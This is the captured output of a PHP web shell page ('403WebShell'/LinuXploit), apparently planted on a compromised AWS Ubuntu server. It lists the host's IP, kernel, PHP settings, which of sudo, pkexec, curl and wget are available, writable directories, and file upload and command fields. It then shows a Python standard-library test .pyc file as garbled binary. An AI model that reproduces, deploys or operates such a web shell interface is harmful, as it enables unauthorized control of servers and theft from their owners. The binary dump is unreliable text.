Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test___future__.cpython-310.pyc
o

�9ju	�@sDddlZddlZdZejZGdd�dej�Zedkr e��dSdS)�N)�alpha�beta�	candidate�finalc@seZdZdd�Zdd�ZdS)�
FutureTestcCsrtdd�}tt�D]!}tt|d�}|dur+t|tj�r+|�||vd|�|�|�q
|�t	|�dd|�dS)Nz(%r should have been in all_feature_namesrz"all_feature_names has too much: %r)
�features�dir�
__future__�getattr�
isinstance�_Feature�
assertTrue�remove�assertEqual�len)�self�given_feature_names�name�obj�r�+/usr/lib/python3.10/test/test___future__.py�
test_names
s�
��zFutureTest.test_namescs�tD]L}tt|�}|��}|��}|j�|j���fdd�}||d�|dur3||d��||kd��t|d�d�tdd	d
|j	��t
t|d�t�d�qdS)Ncs��t|t�d|��t|�dd|�|\}}}}}�t|t�d|��t|t�d|��t|t�d|��t|t�d|��|tvd|��t|t�d	|�dS)
Nz%s isn't tuple�z%s isn't 5-tuplez%s major isn't intz%s minor isn't intz%s micro isn't intz%s level isn't stringz!%s level string has unknown valuez%s serial isn't int)r�tupler�int�str�GOOD_SERIALS)�tr�major�minor�micro�level�serial��a�err�check!s
��z)FutureTest.test_attributes.<locals>.check�optional�	mandatoryz8optional not less than mandatory, and mandatory not None�
compiler_flagz(feature is missing a .compiler_flag attr�z<test>�execz.compiler_flag isn't int)rr
r	�getOptionalRelease�getMandatoryReleaser
r�hasattr�compiler)rr)r�feature�valuer'r(r&rr#r�test_attributess*



�
���zFutureTest.test_attributesN)�__name__�
__module__�__qualname__rr2rrrrrsr�__main__)	�unittestr	r�all_feature_namesr�TestCaserr3�mainrrrr�<module>s4�

Youez - 2016 - github.com/yon3zu
LinuXploit